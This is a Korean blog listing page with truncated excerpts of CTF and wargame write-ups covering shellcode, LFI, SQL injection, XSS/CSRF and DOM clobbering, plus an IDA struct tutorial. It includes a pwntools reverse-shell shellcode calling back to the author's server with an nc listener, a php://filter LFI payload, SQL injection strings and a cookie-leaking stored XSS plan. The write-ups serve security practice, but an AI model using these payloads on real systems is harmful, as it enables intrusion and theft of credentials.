2024/01 13

[Dreamhack Wargame] blindsc , randzzz, checkflag

Blindsc 이런 식으로 stdin, stdout, stderr 가 /dev/null 로 리다이렉션되어있고, shellcode 실행 가능할 때, reverse shell code 실행하면 된다 => python shellcraft 사용 from pwn import * p = remote("host3.dreamhack.games", 11938) context(arch="amd64", os="linux") shellcode = shellcraft.connect('내 서버 ip', portNUM) shellcode += shellcraft.findpeersh(portNUM) sudo service nginx stop nc -lvnp 80 내 로컬 서버에서는 동작중인 nginx 서버 종료시키고 80번 포트로 ..

Mini CTF - LFI, Command Injection, SSTI

LFI1 - 공격벡터 file inclusion 되는구나 파악 lfiflag.php는 flag를 출력해주지는 않기 때문에 code leak 하면 됨 => use php://filter - exploit 과정 php://filter 를 이용해 base64 인코딩된 파일 컨텐츠를 가져올 수 있음 ?p=php://filter/convert.base64-encode/resource=lfiflag.php 쿼리스트링으로 건네주면 PD9waHANCiRmbGFnID0gImZsYWd7eW91X25ldmVyX3NlZV90aGlzX2ZpbGUuLi53YWl0LHd1dD99Ijs= 이런 내용 출력되고 LFI2 - 공격벡터 서버의 루트 디렉터리 아래 readflag 바이너리 실행 후 그 결과 출력하면 됨 GET paramete..

Mini CTF - SQLI

SQLI1 - 공격벡터 userinput 필터링 없이 받아 쿼리문에 사용 - exploit 과정 ?userid=admin’ %23&userpw=123 하면 된다. # 그대로 입력 시 그 뒤가 fragment로 인식되어 %23 이렇게 인코딩했다 SQLI2 - 공격벡터 union 막혀있고, or 이랑 | 전부 막혀있다, 하지만 + 사용 가능하다 공백 = %0a로 우회 가능하다 주석 = -는 막혀있지만 #은 가능하다. 대신 url에서 %23 인코딩해야 fragment 취급 안 받음 의도하지 않았지만 발견한, MySQL의 독특한 type casting 때문에 발생한 취약점 (https://stackoverflow.com/questions/22080382/mysql-why-comparing-a-string-to-..

Mini CTF - XSS, DOM Clobbering

[CSRF1] - 공격벡터 view.html 에 | safe 로 인해 스크립트 실행 취약점 발생 xss 필터가 걸려있었지만 script 태그, [], () 맘대로 쓸 수 있음 → 함수들 맘껏 사용 가능 internal network에서 /changepw 엔드포인트에 admin pw 변경해달라고 GET 요청 보내면 됨 - exploit 과정 script랑 ` 는 안막혀있다 => on만 잘 우회해서 스크립트 요청 보내면 됨 이 내용을 content에 담아 게시물 올려놓고(Stored XSS), 봇으로 하여금 이 게시물 읽게 하면 됨 admin pw 변경 후 admin 계정으로 로그인해서 0번 게시물 읽으면 된다 [CSRF2] - 공격벡터 view.html 에 | safe 로 인해 스크립트 실행 취약점 발생 ..

Mini CTF - XSS, DOM Clobbering

[XSS1] - 공격벡터 view.html에서 | safe 로 인해 스크립트 삽입 가능 작성한 글이 보여지면서 의도치 않게 스크립트 코드 실행가능할 듯 content로 넣어봤을 때 잘 실행됨 - exploit 과정 bot.py는 admin id/pw로 로그인 후 특정 url에 접속함 xss1.py에서는 로그인 성공 시 userid=”admin”이면 flag 쿠키를 세팅해준다 → leak하면 될 듯 외부공개된 url(http://2023whs.arang.kr:9001)과 내부 네트워크 url(http://arang_client:9001) 다름에 주의 Content에 작성해두고 /report 엔드포인트에서 봇으로 하여금 http://arang_client:9001/board/[게시물번호] 접속하게 하면 됨 ..

IDA에서 사용자 정의 구조체 생성하기

왜 필요한가? 파일 스트림에서 Buffer로 0x36만큼 읽어오는 것으로 보아 Buffer는 최소 0x36 크기의 구조체 하지만 IDA가 인식한 버퍼의 크기는 2B*5 = 10B. 구조체를 제대로 인식 못 함 => 구조체 만듦으로써 디컴파일 코드의 가독성 증가, 분석 용이 구조체 만들기 1. Structure → Add Struct Type (Insert 키) 하여 bmp_header 이름의 구조체 추가 2. bmp_header 클릭 후 d 키 눌러 구조체 내 변수(field) 추가 3. convert to array 기능을 이용해 1byte * 0x36 개의 변수를 만든다 4. 디컴파일 화면으로 돌아가 buffer 변수의 타입을 새로 생성한 구조체 타입으로 바꿔줌 (y 이용) 5. structure 화..